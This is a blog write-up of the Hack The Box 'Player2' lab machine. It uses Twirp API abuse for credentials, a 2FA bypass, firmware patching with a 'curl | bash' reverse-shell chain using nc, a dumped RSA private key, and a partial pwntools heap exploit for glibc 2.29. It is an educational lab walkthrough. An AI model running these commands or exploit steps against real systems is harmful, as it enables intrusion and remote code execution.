href="https://1.bp.blogspot.com/-Xx7Nyu8_R34/X3ltn-1qrzI/AAAAAAAAByo/-erPeWW6rw0K32_Ao-P_PuCcmyXp7p-sgCLcBGAsYHQ/s535/capture9.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="354" data-original-width="535" height="265" src="https://1.bp.blogspot.com/-Xx7Nyu8_R34/X3ltn-1qrzI/AAAAAAAAByo/-erPeWW6rw0K32_Ao-P_PuCcmyXp7p-sgCLcBGAsYHQ/w400-h265/capture9.JPG" width="400" /></a></div><div><br /></div><div>If I made any mistakes in my explanations above, feel free to let me know so I can correct them. I'm still continuing to study the Linux kernel and find it quite fascinating! Thanks again to CUCTF for hosting the event!</div><div><br /></div><div>For those interested in trying this problem out, it is archived in the <a href="https://github.com/CUCyber/cuctf-2020-challenges/tree/main/binary-exploitation/Hotrod/distributed">CUCTF repos</a>.</div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8814147965526194982.post-62259370359473641112020-06-27T08:00:00.001-07:002020-09-16T23:17:27.678-07:00Player2 HacktheBox Writeup<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-_DisSoD2thg/XvYVn9_M2gI/AAAAAAAABqU/ceaEKxHBGAQ0W8ms2Ul6yXvfEcZRi7wLgCLcBGAsYHQ/s1600/player2.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="120" data-original-width="401" height="118" src="https://1.bp.blogspot.com/-_DisSoD2thg/XvYVn9_M2gI/AAAAAAAABqU/ceaEKxHBGAQ0W8ms2Ul6yXvfEcZRi7wLgCLcBGAsYHQ/s400/player2.JPG" width="400" /></a></div>
<br />
Player2 was a challenging but very fun box by MrR3boot and b14ckh34rt. The highlight of the box for me is the finale 2.29 heap pwn! In my opinion, if there were no unintended routes, this would have been by far the hardest box so far, but some of these alternative solutions were never patched.<br />
<br />
On the intial enum, we find on player2.htb a link to product.player2.htb regarding the Protobs product. It's a login page, so it's time to hopefully find some creds. On an initial nmap port scan, we also find the following ports: 22, 80, 8545. Going to port 8545, we see an invalid twirp route message, giving away the fact that twirp is used on this box. While dirbing player2.htb, we also come across the proto directory. Documentation at this point basically told me what to do:<br />
<br />
<a href="https://twitchtv.github.io/twirp/docs/curl.html">https://twitchtv.github.io/twirp/docs/curl.html</a><br />
<a href="https://github.com/twitchtv/twirp/blob/master/docs/routing.md">https://github.com/twitchtv/twirp/blob/master/docs/routing.md</a><br />
<br />
From the proto directory, let's try to find some configuration info by fuzzing for the .proto file. Using some different wordlists with wfuzz on /proto/FUZZ.proto, I came across generated.proto:<br />
<div class="code">
<br />
syntax = "proto3";<br />
<br />
package twirp.player2.auth;<br />
option go_package = "auth";<br />
<br />
service Auth {<br />
rpc GenCreds(Number) returns (Creds);<br />
}<br />
<br />
message Number {<br />
int32 count = 1; // must be > 0<br />
}<br />
<br />
message Creds {<br />
int32 count = 1;<br />
string name = 2;<br />
string pass = 3;<br />
}</div>
<div>
<br /></div>
<div>
<div>
Note how twirp documentation mentions the route as the following:</div>
<div>
<br /></div>
<div>
POST /twirp/<package>.<Service>/<Method></div>
<div>
<br /></div>
<div>
From the source above, the route will be twirp.player2.auth.Auth/GenCreds... some nice credentials should come from here!</div>
<div>
<br /></div>
<div>
Using the twirp documentation with curl, I played around and curled to the service route based on the format from the documentation.</div>
<div>
<br /></div>
<div>
curl -X POST "http://player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds" --header "Content-Type:application/json" --data '{}'</div>
<div>
<br /></div>
<div>
However, we end up getting a lot of different creds and most of them don't work. I recieved the following:</div>
<div>
{"name":"snowscan","pass":"Lp-+Q8umLW5*7qkc"}</div>
<div>
{"name":"snowscan","pass":"ze+EKe-SGF^5uZQX"}</div>
<div>
{"name":"jkr","pass":"tR@dQnwnZEk95*6#"}</div>
<div>
{"name":"mprox","pass":"ze+EKe-SGF^5uZQX"}</div>
<div>
{"name":"jkr","pass":"XHq7_WJTA?QD_?E2"}</div>
<div>
<br /></div>
<div>
With some different varaitions, I determined that the following worked:</div>
<div>
jkr:Lp-+Q8umLW5*7qkc</div>
<div>
<br /></div>
<div>
However, once we login, it asks for OTP. It tells us that we can either use the OTP that was sent to mobile or backup codes. I did notice an initial api link from dirb originally. This page is called totp, which is a type of otp. Thinking logically, plugging in /api/totp actually worked. It also mentioned backup codes. Playing around, there seems to be “action” parameter on the api. After a while, I figured out that sending in the logged in session id along with a request for “backup_codes” (a logical name for what we are looking for) gave us the TOTP. </div>
<div>
<br /></div>
<div>
curl -X POST "http://product.player2.htb/api/totp" --header "Content-Type:application/json" -d '{"action":"backup_codes"}' --cookie "PHPSESSID=06plq8egcf5e8eijvhs8abjs7q"</div>
<div>
<br /></div>
<div>
{"user":"jkr","code":"29389234823423"}</div>
<div>
<br /></div>
<div>
After rooting the box, <a href="https://twitter.com/youreafed" target="_blank">hevr</a> pointed out that there should be a type juggling attack here as the 2FA bypass:</div>
<div>
<br /></div>
<div>
curl -X POST "http://product.player2.htb/api/totp" --header "Content-Type:application/json" -d '{"action":0}' --cookie "PHPSESSID=06plq8egcf5e8eijvhs8abjs7q"</div>
<div>
<br /></div>
<div>
Inside the following page, we see a mention to a pdf and a link to a firmware download. It mentions that the firmware is signed. Extracting the binary file from the tar, I opened it up in a hex editor and saw the ELF header appear 64 bytes into the file. It seems safe here to assume that the first 64 bytes is probably the signature. Let's take out the first 64 bytes: dd if=Protobs.bin bs=64 skip=1 of=firmware.</div>
<div>
<br /></div>
<div>
While reversing it, I noticed how the main function called another function, which in turn called system on a string.</div>
</div>
<div>
<br /></div>
<div class="code">
<div>
<div>
0x004013c9 55 push rbp</div>
<div>
| 0x004013ca 4889e5 mov rbp, rsp</div>
<div>
| 0x004013cd 4883ec10 sub rsp, 0x10</div>
<div>
| 0x004013d1 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40</div>
<div>
| 0x004013da 488945f8 mov qword [local_8h], rax</div>
<div>
| 0x004013de 31c0 xor eax, eax</div>
<div>
| 0x004013e0 488d3dbd0c00. lea rdi, qword str.stty_raw__echo_min_0_time_10 ; 0x4020a4 ;</div>
<div>
"stty raw -echo min 0 time 10"</div>
<div>
| 0x004013e7 e884fcffff call sym.imp.system ; int system(const char *string)</div>
<div>
| 0x004013ec e8bffcffff call sym.imp.getchar ; int getchar(void)</div>
<div>
| 0x004013f1 8945f4 mov dword [local_ch], eax</div>
<div>
| 0x004013f4 837df41b cmp dword [local_ch], 0x1b</div>
<div>
| ,=< 0x004013f8 7416 je 0x401410</div>
<div>
| | 0x004013fa 488d3dc00c00. lea rdi, qword str.stty_sane ; 0x4020c1 ; "stty sane"</div>
<div>
| | 0x00401401 e86afcffff call sym.imp.system ; int system(const char *string)</div>
<div>
| | 0x00401406 bf00000000 mov edi, 0</div>
<div>
| | 0x0040140b e8c0fcffff call sym.imp.exit</div>
</div>
</div>
<div>
<br /></div>
<div>
<div>
We can patch binaries with dd to call system on a different string and then reattach the 64 byte signature:</div>
<div>
<a href="https://unix.stackexchange.com/questions/214820/patching-a-binary-with-dd">https://unix.stackexchange.com/questions/214820/patching-a-binary-with-dd</a></div>
<div>
<br /></div>
<div>
First, finding the offset to the first string with stty.</div>
<div>
strings -t d Protobs.bin | grep stty</div>
<div>
<br /></div>
<div>
Then, I created a “malicious” file for the next dd to transfer into and replace the string. It contained the following contents:</div>
<div>
curl 10.10.14.7/z | bash</div>
<div>
<br /></div>
<div>
The “z” on my side is just a shellscript containing the following:</div>
<div>
curl http://10.10.14.7/nc -o /tmp/nc</div>
<div>
chmod +x /tmp/nc</div>
<div>
/tmp/nc 10.10.14.7 1337 -e /bin/sh</div>
<div>
<br /></div>
<div>
The reason I kept the original command so small was because I was being cautious about messing up the binary with a string that is too long.</div>
<div>
<br /></div>
<div>
Then, lastly, with the final patching:</div>
<div>
dd if=malicious of=Protobs.bin obs=1 seek=8420 conv=notrunc</div>
<div>
<br /></div>
<div>
Uploading this should pop us a shell back as www-data.</div>
<div>
Looking in /etc/passwd, there are two potential users to go for: egre55 and observer. I also noticed that there is an account for the mosquitto service. The service is also running on port 1883. Reading around, the SYS-topic part of it was quite interesting.</div>
<div>
<a href="https://blog.teserakt.io/2019/02/25/securing-the-mosquitto-mqtt-broker/">https://blog.teserakt.io/2019/02/25/securing-the-mosquitto-mqtt-broker/</a></div>
<div>
<br /></div>
<div>
To quote the article, SYS topics are a special class of topics under which the broker publishes data, typically for monitoring purposes. SYS topics are not a formal standard but are an established practice in MQTT brokers.</div>
<div>
<br /></div>
<div>
Going to it with the following command:</div>
<div>
mosquitto_sub -h localhost -p 1883 -v -t '$SYS/#'</div>
<div>
<br /></div>
<div>
We end up seeing an SSH key getting dumped after a while:</div>
</div>
<br />
<div class="code">
-----BEGIN RSA PRIVATE KEY-----<br />
MIIEpAIBAAKCAQEA7Gc/OjpFFvefFrbuO64wF8sNMy+/7miymSZsEI+y4pQyEUBA<br />
R0JyfLk8f0SoriYk0clR/JmY+4mK0s7+FtPcmsvYgReiqmgESc/brt3hDGBuVUr4<br />
et8twwy77KkjypPy4yB0ecQhXgtJNEcEFUj9DrOq70b3HKlfu4WzGwMpOsAAdeFT<br />
+kXUsGy+Cp9rp3gS3qZ2UGUMsqcxCcKhn92azjFoZFMCP8g4bBXUgGp4CmFOtdvz<br />
SM29st5P4Wqn0bHxupZ0ht8g30TJd7FNYRcQ7/wGzjvJzVBywCxirkhPnv8sQmdE<br />
+UAakPZsfw16u5dDbz9JElNbBTvwO9chpYIs0QIDAQABAoIBAA5uqzSB1C/3xBWd<br />
62NnWfZJ5i9mzd/fMnAZIWXNcA1XIMte0c3H57dnk6LtbSLcn0jTcpbqRaWtmvUN<br />
wANiwcgNg9U1vS+MFB7xeqbtUszvoizA2/ScZW3P/DURimbWq3BkTdgVOjhElh6D<br />
62LlRtW78EaVXYa5bGfFXM7cXYsBibg1+HOLon3Lrq42j1qTJHH/oDbZzAHTo6IO<br />
91TvZVnms2fGYTdATIestpIRkfKr7lPkIAPsU7AeI5iAi1442Xv1NvGG5WPhNTFC<br />
gw4R0V+96fOtYrqDaLiBeJTMRYp/eqYHXg4wyF9ZEfRhFFOrbLUHtUIvkFI0Ya/Y<br />
QACn17UCgYEA/eI6xY4GwKxV1CvghL+aYBmqpD84FPXLzyEoofxctQwcLyqc5k5f<br />
llga+8yZZyeWB/rWmOLSmT/41Z0j6an0bLPe0l9okX4j8WOSmO6TisD4WiFjdAos<br />
JqiQej4Jch4fTJGegctyaOwsIVvP+hKRvYIwO9CKsaAgOQySlxQBOwMCgYEA7l+3<br />
JloRxnCYYv+eO94sNJWAxAYrcPKP6nhFc2ReZEyrPxTezbbUlpAHf+gVJNVdetMt<br />
ioLhQPUNCb3mpaoP0mUtTmpmkcLbi3W25xXfgTiX8e6ZWUmw+6t2uknttjti97dP<br />
QFwjZX6QPZu4ToNJczathY2+hREdxR5hR6WrJpsCgYEApmNIz0ZoiIepbHchGv8T<br />
pp3Lpv9DuwDoBKSfo6HoBEOeiQ7ta0a8AKVXceTCOMfJ3Qr475PgH828QAtPiQj4<br />
hvFPPCKJPqkj10TBw/a/vXUAjtlI+7ja/K8GmQblW+P/8UeSUVBLeBYoSeiJIkRf<br />
PYsAH4NqEkV2OM1TmS3kLI8CgYBne7AD+0gKMOlG2Re1f88LCPg8oT0MrJDjxlDI<br />
NoNv4YTaPtI21i9WKbLHyVYchnAtmS4FGqp1S6zcVM+jjb+OpBPWHgTnNIOg+Hpt<br />
uaYs8AeupNl31LD7oMVLPDrxSLi/N5o1I4rOTfKKfGa31vD1DoCoIQ/brsGQyI6M<br />
zxQNDwKBgQCBOLY8aLyv/Hi0l1Ve8Fur5bLQ4BwimY3TsJTFFwU4IDFQY78AczkK<br />
/1i6dn3iKSmL75aVKgQ5pJHkPYiTWTRq2a/y8g/leCrvPDM19KB5Zr0Z1tCw5XCz<br />
iZHQGq04r9PMTAFTmaQfMzDy1Hfo8kZ/2y5+2+lC7wIlFMyYze8n8g==<br />
-----END RSA PRIVATE KEY-----</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div>
Testing it on the two possible users, it turned out that it works for observer. And now user has been pwned! </div>
<div>
<br /></div>
<div>
Finally, we have hit the part for root. It's a poison null byte on 2.29 (there also was an easier heap overflow unintended). Anyways, make sure to read up on libc malloc.c for 2.29 on bminor's mirror of libc source before continuing! The binary can be found in /opt/Configuration_Utility, and running checksec on it immediately informs us that it is patchelf'd to run ld and libc different from the box's libc and ld. Personally, I like to use all of pwndbg's capabilities with libc debug symbols, so I ran the following commands to switch the interpreter and rpath to default and debugged on a headless ubuntu VM running the same libc version:</div>
<div>
<br /></div>
<div>
patchelf Protobs --set-interpreter /lib64/ld-linux-x86-64.so.2</div>
<div>
patchelf Protobs --remove-rpath /lib/x86_64-linux-gnu/</div>
<div>
<br /></div>
<div>
Anyways, let us begin the pwning! Here is the binary reversed with my comments.</div>
</div>
<div>
<br /></div>
<div>
<div>
<br /></div>
<div class="code">
<div>
//only 15 indices</div>
<div>
<br /></div>
<div>
typedef struct</div>
<div>
{</div>
<div>
char[20] game;</div>
<div>
unsigned int contrast;</div>
<div>
unsigned int gamma;</div>
<div>
unsigned int xres;</div>
<div>
unsigned int yres;</div>
<div>
unsigned int controller;</div>
<div>
unsigned int desc;</div>
<div>
char *description;</div>
<div>
}gamestruct;</div>
<div>
<br /></div>
<div>
void create(void)</div>
<div>
{</div>
<div>
char *__dest;</div>
<div>
long lVar1;</div>
<div>
int iVar2;</div>
<div>
undefined4 uVar3;</div>
<div>
void *pvVar4;</div>
<div>
ssize_t sVar5;</div>
<div>
size_t sVar6;</div>
<div>
long in_FS_OFFSET;</div>
<div>
int local_448;</div>
<div>
char local_428 [19];</div>
<div>
undefined local_415;</div>
<div>
long local_20;</div>
<div>
</div>
<div>
local_20 = *(long *)(in_FS_OFFSET + 0x28);</div>
<div>
iVar2 = FUN_00400c8b();</div>
<div>
if (iVar2 < 0) {</div>
<div>
FUN_00400c3e();</div>
<div>
}</div>
<div>
pvVar4 = malloc(0x38); //so default, allocate to 0x40 tcachebin, note libc 2.29</div>
<div>
*(void **)(&DAT_00603060 + (long)iVar2 * 8) = pvVar4;</div>
<div>
__dest = *(char **)(&DAT_00603060 + (long)iVar2 * 8);</div>
<div>
putchar(10);</div>
<div>
puts("==New Game Configuration");</div>
<div>
printf(" [ Game ]: ");</div>
<div>
fgets(local_428,0x400,stdin);</div>
<div>
readin(local_428);</div>
<div>
local_415 = 0;</div>
<div>
strncpy(__dest,local_428,0x14);</div>
<div>
uVar3 = readnum(" [ Contrast ]: ");</div>
<div>
*(undefined4 *)(__dest + 0x14) = uVar3;</div>
<div>
uVar3 = readnum(" [ Gamma ]: ");</div>
<div>
*(undefined4 *)(__dest + 0x18) = uVar3;</div>
<div>
uVar3 = readnum(" [ Resolution X-Axis ]: ");</div>
<div>
*(undefined4 *)(__dest + 0x1c) = uVar3;</div>
<div>
uVar3 = readnum(" [ Resolution Y-Axis ]: ");</div>
<div>
*(undefined4 *)(__dest + 0x20) = uVar3;</div>
<div>
uVar3 = readnum(" [ Controller ]: ");</div>
<div>
*(undefined4 *)(__dest + 0x24) = uVar3;</div>
<div>
uVar3 = readnum(" [ Size of Description ]: "); //not nulled out another bug here!</div>
<div>
*(undefined4 *)(__dest + 0x28) = uVar3;</div>
<div>
if (*(int *)(__dest + 0x28) != 0) {</div>
<div>
printf(" [ Description ]: ");</div>
<div>
sVar5 = read(0,local_428,0x200);</div>
<div>
readin(local_428);</div>
<div>
if (*(uint *)(__dest + 0x28) <= (uint)sVar5) {</div>
<div>
local_428[(ulong)*(uint *)(__dest + 0x28)] = 0;</div>
<div>
}</div>
<div>
pvVar4 = malloc((ulong)*(uint *)(__dest + 0x28));</div>
<div>
*(void **)(__dest + 0x30) = pvVar4; //another allocation</div>
<div>
lVar1 = *(long *)(__dest + 0x30);</div>
<div>
local_448 = 0;</div>
<div>
while( true ) {</div>
<div>
sVar6 = strlen(local_428); //counts all the way till null byte</div>
<div>
//what happenned above allows for poison null byte, it's copying strlen bytes rather than desc size bytes</div>
<div>
if (sVar6 < (ulong)(long)local_448) break;</div>
<div>
*(char *)((long)local_448 + lVar1) = local_428[(long)local_448];</div>
<div>
local_448 = local_448 + 1;</div>
<div>
}</div>
<div>
}</div>
<div>
putchar(10);</div>
<div>
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {</div>
<div>
/* WARNING: Subroutine does not return */</div>
<div>
__stack_chk_fail();</div>
<div>
}</div>
<div>
return;</div>
<div>
}</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
void delete(void)</div>
<div>
{</div>
<div>
long lVar1;</div>
<div>
void *__ptr;</div>
<div>
uint uVar2;</div>
<div>
long in_FS_OFFSET;</div>
<div>
</div>
<div>
lVar1 = *(long *)(in_FS_OFFSET + 0x28);</div>
<div>
putchar(10);</div>
<div>
puts("==Delete Game Configuration");</div>
<div>
puts(" >>> Run the list option to see available configurations.");</div>
<div>
uVar2 = readnum(" [ Config Index ]: ");</div>
<div>
if ((uVar2 < 0xf) && (*(long *)(&DAT_00603060 + (ulong)uVar2 * 8) != 0)) {</div>
<div>
__ptr = *(void **)(&DAT_00603060 + (ulong)uVar2 * 8);</div>
<div>
if (*(long *)((long)__ptr + 0x30) != 0) {</div>
<div>
free(*(void **)((long)__ptr + 0x30)); </div>
<div>
}</div>
<div>
free(__ptr);</div>
<div>
*(undefined8 *)(&DAT_00603060 + (ulong)uVar2 * 8) = 0; </div>
<div>
}</div>
<div>
else {</div>
<div>
puts(" [!] Invalid index.");</div>
<div>
}</div>
<div>
putchar(10);</div>
<div>
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {</div>
<div>
/* WARNING: Subroutine does not return */</div>
<div>
__stack_chk_fail();</div>
<div>
}</div>
<div>
return;</div>
<div>
}</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
void readin(char *pcParm1)</div>
<div>
{</div>
<div>
long lVar1;</div>
<div>
char *pcVar2;</div>
<div>
long in_FS_OFFSET;</div>
<div>
</div>
<div>
lVar1 = *(long *)(in_FS_OFFSET + 0x28);</div>
<div>
pcVar2 = strchr(pcParm1,0xd);</div>
<div>
if (pcVar2 != (char *)0x0) {</div>
<div>
*pcVar2 = 0;</div>
<div>
}</div>
<div>
pcVar2 = strchr(pcParm1,10);</div>
<div>
if (pcVar2 != (char *)0x0) {</div>
<div>
*pcVar2 = 0;</div>
<div>
}</div>
<div>
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {</div>
<div>
/* WARNING: Subroutine does not return */</div>
<div>
__stack_chk_fail();</div>
<div>
}</div>
<div>
return;</div>
<div>
}</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
ulong readnum(char *pcParm1)</div>
<div>
{</div>
<div>
ulong uVar1;</div>
<div>
long in_FS_OFFSET;</div>
<div>
char local_28 [24];</div>
<div>
long local_10;</div>
<div>
</div>
<div>
local_10 = *(long *)(in_FS_OFFSET + 0x28);</div>
<div>
printf(pcParm1);</div>
<div>
fgets(local_28,0x10,stdin);</div>
<div>
uVar1 = strtol(local_28,(char **)0x0,10);</div>
<div>
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {</div>
<div>
/* WARNING: Subroutine does not return */</div>
<div>
__stack_chk_fail();</div>
<div>
}</div>
<div>
return uVar1 & 0xffffffff;</div>
<div>
}</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
void show(void)</div>
<div>
{</div>
<div>
long lVar1;</div>
<div>
long lVar2;</div>
<div>
uint uVar3;</div>
<div>
long in_FS_OFFSET;</div>
<div>
</div>
<div>
lVar1 = *(long *)(in_FS_OFFSET + 0x28);</div>
<div>
putchar(10);</div>
<div>
puts("==Read Game Configuration");</div>
<div>
puts(" >>> Run the list option to see available configurations.");</div>
<div>
uVar3 = readnum(" [ Config Index ]: ");</div>
<div>
if ((uVar3 < 0xf) && (*(long *)(&DAT_00603060 + (ulong)uVar3 * 8) != 0)) {</div>
<div>
lVar2 = *(long *)(&DAT_00603060 + (ulong)uVar3 * 8);</div>
<div>
printf(" [ Game ]: %s\n",lVar2);</div>
<div>
printf(" [ Contrast ]: %u\n",(ulong)*(uint *)(lVar2 + 0x14));</div>
<div>
printf(" [ Gamma ]: %u\n",(ulong)*(uint *)(lVar2 + 0x18));</div>
<div>
printf(" [ Resolution X-Axis ]: %u\n",(ulong)*(uint *)(lVar2 + 0x1c));</div>
<div>
printf(" [ Resolution Y-Axis ]: %u\n",(ulong)*(uint *)(lVar2 + 0x20));</div>
<div>
printf(" [ Controller ]: %u\n",(ulong)*(uint *)(lVar2 + 0x24));</div>
<div>
if (*(long *)(lVar2 + 0x30) != 0) {</div>
<div>
printf(" [ Description ]: %s\n",*(undefined8 *)(lVar2 + 0x30));</div>
<div>
}</div>
<div>
}</div>
<div>
else {</div>
<div>
puts(" [!] Invalid index.");</div>
<div>
}</div>
<div>
putchar(10);</div>
<div>
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {</div>
<div>
/* WARNING: Subroutine does not return */</div>
<div>
__stack_chk_fail();</div>
<div>
}</div>
<div>
return;</div>
<div>
}</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
void list(void)</div>
<div>
{</div>
<div>
long lVar1;</div>
<div>
long in_FS_OFFSET;</div>
<div>
uint local_1c;</div>
<div>
</div>
<div>
lVar1 = *(long *)(in_FS_OFFSET + 0x28);</div>
<div>
putchar(10);</div>
<div>
puts("==List of Configurations");</div>
<div>
local_1c = 0;</div>
<div>
while (local_1c < 0xf) {</div>
<div>
if (*(long *)(&DAT_00603060 + (ulong)local_1c * 8) != 0) {</div>
<div>
printf(" [%02u] : %s\n",(ulong)local_1c,*(undefined8 *)(&DAT_00603060 + (ulong)local_1c *8));</div>
<div>
}</div>
<div>
local_1c = local_1c + 1;</div>
<div>
}</div>
<div>
putchar(10);</div>
<div>
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {</div>
<div>
/* WARNING: Subroutine does not return */</div>
<div>
__stack_chk_fail();</div>
<div>
}</div>
<div>
return;</div>
<div>
} </div>
<div>
<br /></div>
<div>
void main(void)</div>
<div>
{</div>
<div>
long in_FS_OFFSET;</div>
<div>
char local_28 [24];</div>
<div>
long local_10;</div>
<div>
</div>
<div>
local_10 = *(long *)(in_FS_OFFSET + 0x28);</div>
<div>
printf("protobs@player2:~$ ");</div>
<div>
fgets(local_28,0x10,stdin);</div>
<div>
switch(local_28[0]) {</div>
<div>
case '0':</div>
<div>
help();</div>
<div>
break;</div>
<div>
case '1':</div>
<div>
list();</div>
<div>
break;</div>
<div>
case '2':</div>
<div>
create();</div>
<div>
break;</div>
<div>
case '3':</div>
<div>
show();</div>
<div>
break;</div>
<div>
case '4':</div>
<div>
delete();</div>
<div>
break;</div>
<div>
case '5':</div>
<div>
FUN_00400be7();</div>
<div>
break;</div>
<div>
default:</div>
<div>
putchar(10);</div>
<div>
puts("[!] Invalid option. Enter \'0\' for available options.");</div>
<div>
putchar(10);</div>
<div>
}</div>
<div>
if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {</div>
<div>
return;</div>
<div>
}</div>
<div>
/* WARNING: Subroutine does not return */</div>
<div>
__stack_chk_fail();</div>
<div>
}</div>
</div>
<div>
</div>
<br /></div>
<div>
<div>
Basically, there are two bugs, a poison null byte and a UAF. UAF comes from the fact that the game struct, which belongs to the 0x40 tcache bin due to 0x38 allocations, does not zero out the pointer to description when freed. Therefore, we can make a game with a description, free it, get the same game chunk back with another allocation, and get the same description by just setting the size as 0 as the pointer will remain the same. And in the alloc function, there is also a poison null byte due to the way it read in our description from how it indexes to attach the null byte (note the bug there). Using the UAF, we can grab both a heap and libc leak. Heap leak can be grabbed from tcache bin pointers. Libc leak can be grabbed from unsorted bin pointers, which can easily be done since there is no limit to how big we allocate, so we can just allocate some bins in the largebin size area to fall into unsorted bin. </div>
<div>
<br /></div>
<div>
As for the poison null byte, it's a similar concept as older poison null bytes. Only difference is that in libc 2.29, there is the following check:</div>
</div>
<div>
<br /></div>
<div class="code">
<div>
<div>
if (!prev_inuse(p)) {</div>
<div>
prevsize = prev_size (p);</div>
<div>
size += prevsize;</div>
<div>
p = chunk_at_offset(p, -((long) prevsize));</div>
<div>
if (__glibc_unlikely (chunksize(p) != prevsize))</div>
<div>
malloc_printerr ("corrupted size vs. prev_size while consolidating");</div>
<div>
unlink_chunk (av, p);</div>
<div>
}</div>
</div>
<div>
</div>
<br /></div>
<div>
Bypassing this isn't too hard. Just forge a fake chunk right above the region you want to coalesce with the correct size (remember the prev_size issue too in poison null bytes; that prev_size determines where it is going to check and how much it will coalesce by!). However, you will also need some heap pointers to point back to the location of the forged chunk to bypass a more classic heap fd->bk =P and bk->fd =P unlink macro check. </div>
<div>
<br /></div>
<div>
Below is the unlink macro:</div>
<div>
<br /></div>
<div class="code">
<div>
<div>
#define unlink(AV, P, BK, FD) { \</div>
<div>
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \</div>
<div>
malloc_printerr ("corrupted size vs. prev_size"); \</div>
<div>
FD = P->fd; \</div>
<div>
BK = P->bk; \</div>
<div>
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \</div>
<div>
malloc_printerr ("corrupted double-linked list"); \</div>
<div>
else { \</div>
<div>
FD->bk = BK; \</div>
<div>
BK->fd = FD; </div>
</div>
</div>
<div>
<br /></div>
<div>
<div>
Somehow I missed the really obvious massive heap overflow above from the buffer issue, as sampriti, R4J, and hevr pointed out. Notice how the buffer for the name and the desc are on the same place on the stack, but the fgets for the name allows for a lot more space on the buffer (0x400) while the read for the heap is capped at 0x200. We can simply fill the amount of the heap buffer all the way and also do something similar for name originally... copying using strlen will copy everything over, allowing for a massive heap overflow, and doing the rest of the classic heap stuff with tcache to probably get arbitrary write. This method of exploitation would have been much simpler.</div>
<div>
<br /></div>
<div>
Anyways, afterwards, you should be able to coalesce, get heap overlap, and pop a shell. Now let's write the exploit. Make sure to debug along if you were not able to solve this!</div>
<div>
<br /></div>
<div>
First thing I do is write all the helper functions. </div>
</div>
<div>
<br /></div>
<div class="code">
<div>
<div>
from pwn import *</div>
<div>
<br /></div>
<div>
#context.log_level = 'debug'</div>
<div>
#no pie</div>
<div>
bin = ELF('./Protobs')</div>
<div>
libc = ELF('./libc.so.6')</div>
<div>
<br /></div>
<div>
p = process('./Protobs')</div>
<div>
<br /></div>
<div>
#it's suid so life becomes even easier!</div>
<div>
#bss at 0x603060</div>
<div>
def wait():</div>
<div>
p.recvrepeat(0.1)</div>
<div>
<br /></div>
<div>
def alloc(size, desc, game='', contrast=0,gamma=0,xres=0,yres=0,controller=0):</div>
<div>
p.sendline('2')</div>
<div>
wait()</div>
<div>
p.sendline(game)</div>
<div>
wait()</div>
<div>
p.sendline(str(contrast))</div>
<div>
wait()</div>
<div>
p.sendline(str(gamma))</div>
<div>
wait()</div>
<div>
p.sendline(str(xres))</div>
<div>
wait()</div>
<div>
p.sendline(str(yres))</div>
<div>
wait()</div>
<div>
p.sendline(str(controller))</div>
<div>
wait()</div>
<div>
p.sendline(str(size))</div>
<div>
wait()</div>
<div>
if size is not 0:</div>
<div>
p.sendline(desc)</div>
<div>
wait()</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
def free(index):</div>
<div>
p.sendline('4')</div>
<div>
wait()</div>
<div>
p.sendline(str(index))</div>
<div>
wait()</div>
<div>
<br /></div>
<div>
def show(index):</div>
<div>
p.sendline('3')</div>
<div>
wait()</div>
<div>
p.sendline(str(index))</div>
</div>
<div>
</div>
<br /></div>
<div>
Then I got a heap and libc leak using the UAF bug above. It is important to keep track of how many tcachebins you have left in the 0x40 and try to keep it filled up, especially before the poison null byte, so they do not interfere with your poison null byte setup. Hopefully, my comments below will help clear up any confusion.</div>
<div>
<br /></div>
<div class="code">
<div>
<div>
small = 0x198</div>
<div>
big = 0x4f0 #500</div>
<div>
p.recvrepeat(2)</div>
<div>
wait()</div>
<div>
#fill with 6 tcache bins</div>
<div>
for i in range(3):</div>
<div>
alloc(0x30, 'A' * 0x20)</div>
<div>
for i in range(3): </div>
<div>
free(i) #6 chunks in tcache</div>
<div>
alloc(0, 'blah') </div>
<div>
show(0) #5 chunks in tcache</div>
<div>
p.recvuntil('[ Description ]: ')</div>
<div>
heapleak = p.recvline()[:-1]</div>
<div>
heapleak = u64(heapleak.ljust(8, '\x00'))</div>
<div>
log.info('Heap leak: ' + hex(heapleak)) </div>
</div>
<div>
alloc(0x500, 'A' * 0x30) #4 chunks in tcache</div>
<div>
alloc(0x200, 'A' * 0x30) #3 chunks in tcache, chunk index 2</div>
<div>
free(2) #prevent top consolidation, back to 4 chunks in tcache</div>
<div>
free(1) #for libc leaking, 5 chunks in tcache</div>
<div>
alloc(0, 'blah') #4 chunks in tcache, chunk 1</div>
<div>
show(1) #1 is taken up</div>
<div>
p.recvuntil('[ Description ]: ')</div>
<div>
libcleak = p.recvline()[:-1]</div>
<div>
libcleak = u64(libcleak.ljust(8, '\x00'))</div>
<div>
libc.address = libcleak - 0x1e4c40 - 96</div>
<div>
log.info("Libc Base: " + hex(libc.address)) </div>
</div>
<div>
<br /></div>
<div>
As I mentioned earlier, I would prefer to have all the tcachebins for the game metadata structs filled so they do not interfere with my poison null byte setup.</div>
<div>
<br /></div>
<div>
<div class="code">
<div>
#fill rest of tcache</div>
<div>
for i in range(4):</div>
<div>
alloc(0x200, 'A' * 0x20) #2, 3, 4, 5</div>
<div>
#empty it</div>
<div>
for i in range(3):</div>
<div>
alloc(0, '') #6, 7, 8</div>
<div>
